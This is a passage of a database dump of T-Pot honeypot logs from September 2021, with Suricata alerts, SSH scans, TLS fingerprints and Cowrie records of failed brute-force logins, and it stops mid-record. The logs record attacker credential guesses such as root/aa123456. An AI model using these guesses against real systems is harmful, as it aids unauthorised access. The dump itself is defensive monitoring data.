36877	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:17:52.520137+03	2021-09-20 15:30:02.862868+03	{"_id": "mgYkA3wBvYTbRNuEJmU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5301, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1602, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1099724160559775, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45207, "timestamp": "2021-09-20T12:17:52.520137Z", "@timestamp": "2021-09-20T12:17:52.520Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36878	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:17:48.981176+03	2021-09-20 15:30:02.864868+03	{"_id": "fQYkA3wBvYTbRNuEFmWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:17:48.981176Z", "@timestamp": "2021-09-20T12:17:48.981Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36879	5.188.62.194	109.199.241.180	Suricata	2021-09-20 15:17:49.990791+03	2021-09-20 15:30:02.865867+03	{"_id": "gAYkA3wBvYTbRNuEGmWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.194", "dest_ip": "192.168.20.116", "flow_id": 1220148600856556, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42938, "dest_port": 22, "timestamp": "2021-09-20T12:17:49.990791Z", "@timestamp": "2021-09-20T12:17:49.990Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36880	5.188.62.194	109.199.241.180	Cowrie	2021-09-20 15:17:49.9359+03	2021-09-20 15:30:02.866867+03	{"_id": "jAYkA3wBvYTbRNuEHWVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.194", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "d82a030119a3", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:17:49.935900Z", "@timestamp": "2021-09-20T12:17:49.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36881	5.188.62.194	109.199.241.180	Cowrie	2021-09-20 15:17:51.240224+03	2021-09-20 15:30:02.868898+03	{"_id": "lAYkA3wBvYTbRNuEIWVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.194", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.194", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d82a030119a3", "@version": "1", "duration": 1.3046915531158447, "timestamp": "2021-09-20T12:17:51.240224Z", "@timestamp": "2021-09-20T12:17:51.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36882	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:17:51.826666+03	2021-09-20 15:30:02.87087+03	{"_id": "lQYkA3wBvYTbRNuEImVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:50.832388+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1920853187933060, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 50934, "dest_port": 22, "timestamp": "2021-09-20T12:17:51.826666Z", "@timestamp": "2021-09-20T12:17:51.826Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
36883	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:17:51.969517+03	2021-09-20 15:30:02.871867+03	{"_id": "lgYkA3wBvYTbRNuEImVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:17:51.969517Z", "@timestamp": "2021-09-20T12:17:51.969Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36884	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:17:52.850832+03	2021-09-20 15:30:02.872869+03	{"_id": "lwYkA3wBvYTbRNuEJWU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "47b49951487b", "@version": "1", "duration": 17.431201219558716, "timestamp": "2021-09-20T12:17:52.850832Z", "@timestamp": "2021-09-20T12:17:52.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	AL
36885	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:17:52.518815+03	2021-09-20 15:30:02.873869+03	{"_id": "mAYkA3wBvYTbRNuEJmU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5301, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1099724160559775, "@version": "1", "in_iface": "enp5s0", "src_port": 45207, "dest_port": 53, "timestamp": "2021-09-20T12:17:52.518815Z", "@timestamp": "2021-09-20T12:17:52.518Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
37201	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 15:20:08.891451+03	2021-09-20 15:30:03.352882+03	{"_id": "6AYmA3wBvYTbRNuEOGfG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "fb1831e4893c", "@version": "1", "duration": 1.336439847946167, "timestamp": "2021-09-20T12:20:08.891451Z", "@timestamp": "2021-09-20T12:20:08.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36886	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:17:52.921771+03	2021-09-20 15:30:02.875869+03	{"_id": "pQYkA3wBvYTbRNuEJ2V_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36336, "timestamp": "2021-09-20T12:17:52.921771", "@timestamp": "2021-09-20T12:17:52.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36887	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:17:52.606961+03	2021-09-20 15:30:02.87787+03	{"_id": "qgYkA3wBvYTbRNuEJ2WA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36334, "timestamp": "2021-09-20T12:17:52.606961", "@timestamp": "2021-09-20T12:17:52.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36888	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:53.100796+03	2021-09-20 15:30:02.878866+03	{"_id": "rQYkA3wBvYTbRNuEKWUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:50934 (192.168.176.2:22) [session: 519619cfd3b5]", "session": "519619cfd3b5", "@version": "1", "protocol": "ssh", "src_port": 50934, "dest_port": 22, "timestamp": "2021-09-20T12:17:53.100796Z", "@timestamp": "2021-09-20T12:17:53.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36889	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:53.101753+03	2021-09-20 15:30:02.879866+03	{"_id": "qwYkA3wBvYTbRNuEKWUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "519619cfd3b5", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:17:53.101753Z", "@timestamp": "2021-09-20T12:17:53.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36890	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:55.239893+03	2021-09-20 15:30:02.881869+03	{"_id": "twYkA3wBvYTbRNuEL2VS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58840, "timestamp": "2021-09-20T12:17:55.239893", "@timestamp": "2021-09-20T12:17:55.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36891	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:17:55.23919+03	2021-09-20 15:30:02.882868+03	{"_id": "uAYkA3wBvYTbRNuEMGX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "6dba251cbc3c", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:17:55.239190Z", "@timestamp": "2021-09-20T12:17:55.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36892	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:52.56726+03	2021-09-20 15:30:02.883867+03	{"_id": "nwYkA3wBvYTbRNuEJ2V_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36334, "dest_port": 443, "timestamp": "2021-09-20T12:17:52.567260", "@timestamp": "2021-09-20T12:17:52.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36893	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:52.881998+03	2021-09-20 15:30:02.885867+03	{"_id": "pAYkA3wBvYTbRNuEJ2V_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36336, "dest_port": 443, "timestamp": "2021-09-20T12:17:52.881998", "@timestamp": "2021-09-20T12:17:52.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36894	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:17:55.236251+03	2021-09-20 15:30:02.886869+03	{"_id": "uwYkA3wBvYTbRNuEMGX1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:58840 (192.168.176.2:22) [session: 6dba251cbc3c]", "session": "6dba251cbc3c", "@version": "1", "protocol": "ssh", "src_port": 58840, "dest_port": 22, "timestamp": "2021-09-20T12:17:55.236251Z", "@timestamp": "2021-09-20T12:17:55.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
36895	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:17:55.487586+03	2021-09-20 15:30:02.88887+03	{"_id": "ugYkA3wBvYTbRNuEMGX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "6dba251cbc3c", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:17:55.487586Z", "@timestamp": "2021-09-20T12:17:55.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
36896	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:17:55.296238+03	2021-09-20 15:30:02.889868+03	{"_id": "vAYkA3wBvYTbRNuEMWX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1791798010949778, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58840, "dest_port": 22, "timestamp": "2021-09-20T12:17:55.296238Z", "@timestamp": "2021-09-20T12:17:55.296Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36897	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:56.069561+03	2021-09-20 15:30:02.891867+03	{"_id": "wAYkA3wBvYTbRNuENGXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aa12345] failed", "session": "519619cfd3b5", "@version": "1", "password": "aa12345", "username": "root", "timestamp": "2021-09-20T12:17:56.069561Z", "@timestamp": "2021-09-20T12:17:56.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36898	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:57.351578+03	2021-09-20 15:30:02.893869+03	{"_id": "wgYkA3wBvYTbRNuEOGXG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aa123456] failed", "session": "519619cfd3b5", "@version": "1", "password": "aa123456", "username": "root", "timestamp": "2021-09-20T12:17:57.351578Z", "@timestamp": "2021-09-20T12:17:57.351Z", "t-pot_ip_ext": 